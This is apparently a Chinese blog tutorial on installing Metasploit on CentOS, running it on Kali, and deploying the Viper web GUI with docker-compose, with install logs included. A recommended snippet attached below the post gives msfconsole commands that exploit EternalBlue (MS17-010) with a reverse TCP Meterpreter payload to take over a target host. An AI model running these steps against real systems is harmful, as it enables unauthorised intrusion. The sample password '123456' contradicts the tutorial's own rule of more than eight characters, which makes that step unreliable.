Linux安装Metasploit与简单介绍

1 CentOS安装metasploit

切换到root命令
依次执行以下两句

[root@localhost ~]# cd /opt
[root@localhost opt]# curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

执行命令的结果

[root@localhost ~]# cd /opt
[root@localhost opt]# curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/me                                              tasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  6034  100  6034    0     0   1428      0  0:00:04  0:00:04 --:--:--  1429
Checking for and installing update..
Adding metasploit-framework to your repository list..Loaded plugins: fastestmirror, langpacks
base                                                                                      | 3.6 kB  00:00:00
extras                                                                                    | 2.9 kB  00:00:00
metasploit                                                                                | 3.0 kB  00:00:00
updates                                                                                   | 2.9 kB  00:00:00
(1/2): metasploit/primary_db                                                              |  12 kB  00:00:01
(2/2): updates/7/x86_64/primary_db                                                        |  16 MB  00:00:03
Loading mirror speeds from cached hostfile
 * base: mirrors.aliyun.com
 * extras: mirrors.aliyun.com
 * updates: mirrors.aliyun.com
Resolving Dependencies
--> Running transaction check
---> Package metasploit-framework.x86_64 0:6.2.9+20220728102816~1rapid7-1.el6 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

=================================================================================================================
 Package                      Arch           Version                                    Repository          Size
=================================================================================================================
Installing:
 metasploit-framework         x86_64         6.2.9+20220728102816~1rapid7-1.el6         metasploit         269 M

Transaction Summary
=================================================================================================================
Install  1 Package

Total download size: 269 M
Installed size: 635 M
Downloading packages:
warning: /var/cache/yum/x86_64/7/metasploit/packages/metasploit-framework-6.2.9+20220728102816~1rapid7-1.el6.x86_                                              64.rpm: Header V4 RSA/SHA256 Signature, key ID 2007b954: NOKEY
Public key for metasploit-framework-6.2.9+20220728102816~1rapid7-1.el6.x86_64.rpm is not installed
metasploit-framework-6.2.9+20220728102816~1rapid7-1.el6.x86_64.rpm                        | 269 MB  00:00:19
Retrieving key from file:///etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
Importing GPG key 0x2007B954:
 Userid     : "Metasploit <metasploit@rapid7.com>"
 Fingerprint: 09e5 5faf 4f78 62cd 6d55 8997 cdfb 5fa5 2007 b954
 From       : /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : metasploit-framework-6.2.9+20220728102816~1rapid7-1.el6.x86_64                                1/1
Run msfconsole to get started
  Verifying  : metasploit-framework-6.2.9+20220728102816~1rapid7-1.el6.x86_64                                1/1

Installed:
  metasploit-framework.x86_64 0:6.2.9+20220728102816~1rapid7-1.el6

Complete!

安装完成
用ls命令查看目录结构

[root@localhost opt]# ls
metasploit-framework  msfinstall  rh
[root@localhost opt]# ls ./metasploit-framework
bin  embedded  LICENSE  LICENSES  version-manifest.json  version-manifest.txt
[root@localhost opt]# ls metasploit-framework
bin  embedded  LICENSE  LICENSES  version-manifest.json  version-manifest.txt

启动控制台

[root@localhost opt]# msfconsole


 ______________________________________________________________________________
|                                                                              |
|                   METASPLOIT CYBER MISSILE COMMAND V5                        |
|______________________________________________________________________________|
      \                                  /                      /
       \     .                          /                      /            x
        \                              /                      /
         \                            /          +           /
          \            +             /                      /
           *                        /                      /
                                   /      .               /
    X                             /                      /            X
                                 /                     ###
                                /                     # % #
                               /                       ###
                      .       /
     .                       /      .            *           .
                            /
                           *
                  +                       *

                                       ^
####      __     __     __          #######         __     __     __        ####
####    /    \ /    \ /    \      ###########     /    \ /    \ /    \      ####
################################################################################
################################################################################
# WAVE 5 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################
                                                           https://metasploit.com


       =[ metasploit v6.2.9-dev-                          ]
+ -- --=[ 2230 exploits - 1177 auxiliary - 398 post       ]
+ -- --=[ 864 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: View a module's description using
info, or the enhanced version in your browser with
info -d

msf6 > Interrupt: use the 'exit' command to quit
msf6 >

启动成功! metasploit v6.2.9-dev-

2 扩展——虚拟机安装Kali操作系统

Kali操作系统内置metasploit

2.1 Kali OS安装

下载64bit稳定版iso(https://www.kali.org/get-kali/#kali-bare-metal)
在这里插入图片描述
文件比较大,下载太慢,在阿里云镜像开源(https://mirrors.aliyun.com/kali-images/current/)中下载
在这里插入图片描述下载之后,利用vm虚拟机安装iso文件即可(https://blog.csdn.net/Python_caoboqiao/article/details/124284383)。

这里还有虚拟机资源kali-virtual
在这里插入图片描述
安装完成,启动msfconsole
在这里插入图片描述

2.2 kali更新msf

2.3Kali安装MSF图形化界面Viper

首先需要安装docker

    apt-get update
    # 使用apt安装docker
    apt-get install -y docker.io
    # 设置开机自启动
    systemctl start docker
    # 检测docker状态
    docker version

安装docker-compose

# 拉脚本
  curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.5/docker-compose-`uname -s`-`uname -m` > /usr/bin/docker-compose
  #赋可执行权限
    chmod +x /usr/bin/docker-compose

安装启动Viper

# 设置Viper安装目录
export VIPER_DIR=/root/VIPER
# 生成安装目录 并进入目录
mkdir -p $VIPER_DIR && cd $VIPER_DIR
# 执行如下命令生成docker-compose.yml
tee docker-compose.yml <<-'EOF'
version: "3"
services:
  viper:
    image: registry.cn-shenzhen.aliyuncs.com/toys/viper:latest
    container_name: viper-c
    network_mode: "host"
    restart: always
    volumes:
      - ${PWD}/loot:/root/.msf4/loot
      - ${PWD}/db:/root/viper/Docker/db
      - ${PWD}/module:/root/viper/Docker/module
      - ${PWD}/log:/root/viper/Docker/log
      - ${PWD}/nginxconfig:/root/viper/Docker/nginxconfig
    command: ["VIPER_PASSWORD"]
EOF

设置登录密码
Viper不允许使用默认密码,diypassword替换为自定义密码密码且大于8位

export VIPER_PASSWORD=123456

写入密码到docker-compose.yml

sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml

使用命令查看配置(目录如下:/root/VIPER/docker-compose.yml)

cat docker-compose.yml

在这里插入图片描述
启动Viper

# 进入viper的目录($VIPER_DIR=/root/VIPER),第一次访问比较慢,需要下载一个G的文件
cd $VIPER_DIR
docker-compose up -d
# 启动viper
docker-compose start

在这里插入图片描述

所有的docker-compose命令必须在安装目录执行才会有效果
等待15s系统启动,访问 https://你的ip地址:60000 登录. 用户名:root 密码:刚才写入的密码
使用:ip a 命令查询自己的ip
在这里插入图片描述

输入用户名密码,登录
进入如下界面(右侧切换中文)
在这里插入图片描述至此,安装成功!

参考

Linux centos 安装metasploit(就两步):https://blog.csdn.net/FY10033/article/details/118439981
详细安装 kali 教程:https://blog.csdn.net/Python_caoboqiao/article/details/124284383
Metasploit图形界面Viper安装:https://blog.csdn.net/qq_45455136/article/details/123913044
MSF图形化界面Viper(炫彩蛇)下载与使用:https://blog.csdn.net/weixin_42489549/article/details/117514558?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2-117514558-blog-123913044.pc_relevant_aa_2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2-117514558-blog-123913044.pc_relevant_aa_2&utm_relevant_index=5

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Kali Linux是一款专业的渗透测试和攻击工具集,可以用于测试网络和系统的安全性。以下是一个简单的Kali Linux攻击实验,仅供学习和研究使用,禁止用于非法用途。 1. 安装Kali Linux 首先,您需要安装Kali Linux。您可以从官方网站上下载Kali Linux的ISO镜像文件,并使用它来安装Kali Linux安装步骤与安装其他操作系统类似。 2. 扫描目标主机 使用Kali Linux中的Nmap工具扫描目标主机,以了解目标主机上哪些端口是打开的。在终端中输入以下命令: ``` nmap -p- <目标主机IP> ``` 这将扫描目标主机上的所有端口,并列出哪些端口是打开的。 3. 发起攻击 接下来,您可以使用Kali Linux中的Metasploit工具发起攻击。Metasploit是一个强大的攻击工具,可以利用已知的漏洞对系统进行攻击。在终端中输入以下命令来启动Metasploit: ``` msfconsole ``` 然后,您可以使用Metasploit中的exploit或payload模块对目标主机进行攻击。例如,以下命令将使用Metasploit的EternalBlue漏洞模块对目标主机进行攻击: ``` use exploit/windows/smb/ms17_010_eternalblue set RHOSTS <目标主机IP> set payload windows/x64/meterpreter/reverse_tcp run ``` 这将利用EternalBlue漏洞对目标主机进行攻击,并在目标主机上安装一个反向TCP Meterpreter shell。 4. 接管目标主机 一旦攻击成功,您可以使用Metasploit中的反向TCP Meterpreter shell接管目标主机。在Metasploit终端中输入以下命令来启动反向TCP Meterpreter shell: ``` sessions -i 1 ``` 这将启动与目标主机的交互式会话。您可以使用Meterpreter shell执行各种命令,例如查看目标主机上的文件、下载文件、上传文件、截取屏幕等等。 请注意,这只是一个简单的Kali Linux攻击实验,实际的攻击工作需要深入的技术知识和严格的道德准则。在进行任何攻击操作之前,请务必了解相关法律法规,并遵守道德准则。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

weightOneMillion

感谢看官们的供粮~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值